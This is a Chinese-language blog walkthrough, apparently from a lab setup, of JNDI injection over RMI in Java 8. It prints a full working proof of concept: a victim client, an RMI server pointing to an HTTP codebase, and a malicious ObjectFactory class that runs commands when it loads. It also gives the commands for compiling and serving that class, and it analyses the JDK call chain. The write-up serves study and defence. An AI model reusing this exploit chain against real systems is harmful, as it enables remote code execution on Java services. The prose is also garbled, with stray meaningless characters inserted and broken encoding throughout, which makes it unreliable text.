Java命名和目錄接口（JNDI）是一種Java API，類似于一個(gè)索引中心之碗，它允許客戶端通過name發(fā)現(xiàn)和查找數(shù)據(jù)和對象锄奢。這些對象可以存儲在lDAP，DNS中靡狞，或者RMI
代碼格式如下：
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup("rmi://127.0.0.1:1099/Exploit");
JNDI注入
JNDI注入就是當(dāng)jndiname變量可控時(shí)導(dǎo)致遠(yuǎn)程class文件被加載耻警，導(dǎo)致遠(yuǎn)程代碼執(zhí)行
當(dāng)前環(huán)境java8u121
Client.java程序(受害者)
package org.joychou.jndiInjection;
import javax.naming.InitialContext;
import javax.naming.Context;
public class Client {
public static void main(String[] args) throws Exception{
String uri = "rmi://127.0.0.1:1099/aa";
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
Context ctx = new InitialContext();
ctx.lookup(uri);
}
}
Server.java（服務(wù)器端）
package org.joychou.jndiInjection;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class Server {
public static void main(String[] args) throws Exception{
Registry registry = LocateRegistry.createRegistry(1099);
Reference aa = new Reference("ExecTest", "ExecTest", "http://127.0.0.1:8081/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(aa);
System.out.println("Binding 'refObjWrapper' to 'rmi://127.0.0.1:1099/aa'");
registry.bind("aa", refObjWrapper);
}
}
ExecTest.java(命令執(zhí)行的類)
//package org.joychou.jndiInjection;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.Reader;
public class ExecTest {
public ExecTest() throws IOException,InterruptedException{
String cmd="calc.exe";
final Process process = Runtime.getRuntime().exec(cmd);
printMessage(process.getInputStream());;
printMessage(process.getErrorStream());
int value=process.waitFor();
System.out.println(value);
}
private static void printMessage(final InputStream input) {
// TODO Auto-generated method stub
new Thread (new Runnable() {
@Override
public void run() {
// TODO Auto-generated method stub
Reader reader =new InputStreamReader(input);
BufferedReader bf = new BufferedReader(reader);
String line = null;
try {
while ((line=bf.readLine())!=null)
{
System.out.println(line);
}
}catch (IOException e){
e.printStackTrace();
}
}
}).start();
}
}
編譯ExecTest.java，并開啟http服務(wù)甸怕，然后開啟Server.java甘穿，然后運(yùn)行Client.java
image.png
調(diào)用鏈分析
//InitialContext.java
public Object lookup(String name) throws NamingException {
return getURLOrDefaultInitCtx(name).lookup(name);
}
getURLOrDefaultInitCtx函數(shù)，這個(gè)類會根據(jù)輸入的name尋找合適的URL context梢杭，根據(jù)我們輸入的變量中會返回
rmiURLContext對象（繼承自GenericURLContext類）
protected Context getURLOrDefaultInitCtx(String name)
throws NamingException {
if (NamingManager.hasInitialContextFactoryBuilder()) {
return getDefaultInitCtx();
}
String scheme = getURLScheme(name);
if (scheme != null) {
Context ctx = NamingManager.getURLContext(scheme, myProps);
if (ctx != null) {
return ctx;
}
}
return getDefaultInitCtx();
}
在返回rmiURLContext對象之后會繼而調(diào)用該對象的lookup方法温兼，該方法對rmi地址進(jìn)行解析
//GenericURLContext.java
public Object lookup(String var1) throws NamingException {
ResolveResult var2 = this.getRootURLContext(var1, this.myEnv);//對rmi地址進(jìn)行解析
Context var3 = (Context)var2.getResolvedObj();// 返回注冊上下文RegistryContext
Object var4;
try {
var4 = var3.lookup(var2.getRemainingName()); //調(diào)用注冊上下文lookup函數(shù)查找aa對象
} finally {
var3.close();
}
return var4;
}
RegistryContext.java中的lookup在注冊器中函數(shù)尋找aa對象對應(yīng)的引用
//RegistryContext.java
public Object lookup(Name var1) throws NamingException {
if (var1.isEmpty()) {
return new RegistryContext(this);
} else {
Remote var2;
try {
var2 = this.registry.lookup(var1.get(0));//查找aa對應(yīng)的遠(yuǎn)程引用ReferenceWrapper
} catch (NotBoundException var4) {
throw new NameNotFoundException(var1.get(0));
} catch (RemoteException var5) {
throw (NamingException)wrapRemoteException(var5).fillInStackTrace();
}
return this.decodeObject(var2, var1.getPrefix(1)); //
}
}
decodeObject方法找到我們要生成的遠(yuǎn)程對象
//RegistryContext.java
private Object decodeObject(Remote var1, Name var2) throws NamingException {//var1:ReferenceWrapper, var2: aa
try {
//這里會判斷我們的var1是否是remoteReference，如果是的話會進(jìn)入getReference(),與服務(wù)器進(jìn)行一次連接
Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1;
Reference var8 = null;
if (var3 instanceof Reference) {
var8 = (Reference)var3;
} else if (var3 instanceof Referenceable) {
var8 = ((Referenceable)((Referenceable)var3)).getReference();
}
//java更新的一項(xiàng)安全機(jī)制武契，需要將com.sun.jndi.rmi.object.trustURLCodebase設(shè)置為true
if (var8 != null && var8.getFactoryClassLocation() != null && !trustURLCodebase) {
throw new ConfigurationException("The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.");
} else {
return NamingManager.getObjectInstance(var3, var2, this, this.environment);//該函數(shù)根據(jù)輸入的對象和環(huán)境信息生成指定的對象
}
到此已經(jīng)通過遠(yuǎn)程請求獲取到了aa對應(yīng)的ExecTest類募判，接下來是進(jìn)行實(shí)例化
//NamingManager.java
public static Object getObjectInstance(...){//在對象工廠檢索由引用標(biāo)識的對象缸榛，使用引用的工廠類名和工廠代碼庫加載到工廠的類中。
...
if (ref != null) {
String f = ref.getFactoryClassName();
if (f != null) {
// if reference identifies a factory, use exclusively
factory = getObjectFactoryFromReference(ref, f);//命令執(zhí)行點(diǎn)
if (factory != null) {
return factory.getObjectInstance(ref, name, nameCtx,
environment);
}
getObjectFactoryFromReference函數(shù)通過引用將對象進(jìn)行實(shí)例化
//NamingManager.java
static ObjectFactory getObjectFactoryFromReference(
Reference ref, String factoryName)
throws IllegalAccessException,
InstantiationException,
MalformedURLException {
Class<?> clas = null;
// Try to use current class loader
try {
clas = helper.loadClass(factoryName);//在本地classpath中尋找class兰伤，代碼會進(jìn)入此分支
} catch (ClassNotFoundException e) {
// ignore and continue
// e.printStackTrace();
}
// All other exceptions are passed up.
// Not in class path; try to use codebase
String codebase;
if (clas == null &&
(codebase = ref.getFactoryClassLocation()) != null) {
try {//加載遠(yuǎn)程codebase内颗，就是我們定義的惡意RMI服務(wù)器
clas = helper.loadClass(factoryName, codebase);
} catch (ClassNotFoundException e) {
}
}
//實(shí)例化惡意的class文件
return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
}
小缺陷
這段payload雖然能正常運(yùn)行，但在運(yùn)行時(shí)會報(bào)錯敦腔，我們來嘗試修改代碼修復(fù)其錯誤
Exception in thread "main" javax.naming.NamingException [Root exception is java.lang.ClassCastException: ExecTest cannot be cast to javax.naming.spi.ObjectFactory
這個(gè)報(bào)錯的觸發(fā)原因是我們實(shí)例化的ExecTest類無法被轉(zhuǎn)換為ObjectFactory類
//NamingManager.java
//實(shí)例化惡意的class文件
return (clas != null) ? (ObjectFactory) clas.newInstance() : null;//執(zhí)行該語句時(shí)進(jìn)行類型強(qiáng)制轉(zhuǎn)換報(bào)錯
所以我們這里將我們的惡意類重寫為繼承自O(shè)bjectFactory的類即可均澳，新版payload如下：
//package org.joychou.jndiInjection;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.util.Hashtable;
public class ExecTest implements ObjectFactory {
public ExecTest() throws IOException,InterruptedException{
Runtime.getRuntime().exec("calc.exe");
}
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx,
Hashtable<?,?> environment) throws IOException{
Runtime.getRuntime().exec("notepad.exe");
return null;
}
}
實(shí)際上我們只需要在上述的兩個(gè)函數(shù)中任意一個(gè)寫入命令即可，上文所寫的兩個(gè)命令都會被執(zhí)行符衔。為什么會執(zhí)行兩次呢找前？
第一次執(zhí)行
//NamingManager.java
return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
在調(diào)用newInstance方法實(shí)例化ExecTest類的時(shí)候會默認(rèn)調(diào)用ExecTest類的無參構(gòu)造方法，相當(dāng)于new Exectest()判族，所以無參構(gòu)造函數(shù)中的命令會被執(zhí)行躺盛。
第二次執(zhí)行
//NamingManager.java
public static Object getObjectInstance(...){//在對象工廠檢索由引用標(biāo)識的對象，使用引用的工廠類名和工廠代碼庫加載到工廠的類中形帮。
...
if (ref != null) {
String f = ref.getFactoryClassName();
if (f != null) {
// if reference identifies a factory, use exclusively
factory = getObjectFactoryFromReference(ref, f);
if (factory != null) {
return factory.getObjectInstance(ref, name, nameCtx,
environment);//第二次命令執(zhí)行
}
在第一次執(zhí)行之后會返回ObjectFactory槽惫，這樣就會調(diào)用factory類的getObjectInstance方法，從而進(jìn)行了第二次命令執(zhí)行
類加載順序
當(dāng)前的項(xiàng)目結(jié)構(gòu)為：
image.png
事實(shí)上辩撑，這樣結(jié)構(gòu)下不需要編譯ExecTest類界斜，也不需要開啟http服務(wù)只要開啟Server.java，運(yùn)行Client.java即可執(zhí)行命令
image.png
也就是說合冀，我們其實(shí)并沒有訪問我們的遠(yuǎn)程類就完成了攻擊各薇，作為對比測試，我們將Client.java和ExecTest.java分開運(yùn)行君躺，不過運(yùn)行之后沒有任何命令被執(zhí)行峭判。
image.png
我們在剛才的Server.java服務(wù)器端編譯ExecTest.java文件，并開啟http服務(wù)
D:\Workspace\java\JndiRmi\src\main\java>"c:\Program Files\Java\jdk1.8.0_112\bin\javac.exe" ExecTest.java
D:\Workspace\java\JndiRmi\src\main\java>python -m SimpleHTTPServer 8081
Serving HTTP on 0.0.0.0 port 8081 ...
這樣我們開啟Server.java棕叫，然后開啟另一個(gè)目錄下的Client.java即可遠(yuǎn)程加載類
image.png
查看http服務(wù)端可以看到我們的遠(yuǎn)程類被遠(yuǎn)程加載了
D:\Workspace\java\JndiRmi\src\main\java>python -m SimpleHTTPServer 8081
Serving HTTP on 0.0.0.0 port 8081 ...
127.0.0.1 - - [19/Dec/2021 13:57:25] "GET /ExecTest.class HTTP/1.1" 200 -
為什么Client位置的不同會導(dǎo)致類的加載位置不同呢林螃？將Client.java單獨(dú)和與ExecTest.java對比運(yùn)行：
image.png
從調(diào)試可以看出，Client.java在實(shí)例化類的時(shí)候會先使用本地的類加載器進(jìn)行加載谍珊，如果本地找不到的話才會找遠(yuǎn)程的代碼庫(codebase)進(jìn)行加載治宣，左側(cè)在本地可以找到ExecTest類進(jìn)行加載急侥，而在右側(cè)的本地找不到ExecTest類砌滞，會通過RMI遠(yuǎn)程加載，但是因?yàn)槲覀儧]開啟http服務(wù)坏怪，所以找不到ExecTest類贝润，導(dǎo)致實(shí)例化失敗，無法命令執(zhí)行铝宵。
所以打掘，只要將ExecTest.java類與Client.java放在同一目錄就不會進(jìn)行遠(yuǎn)程加載华畏。
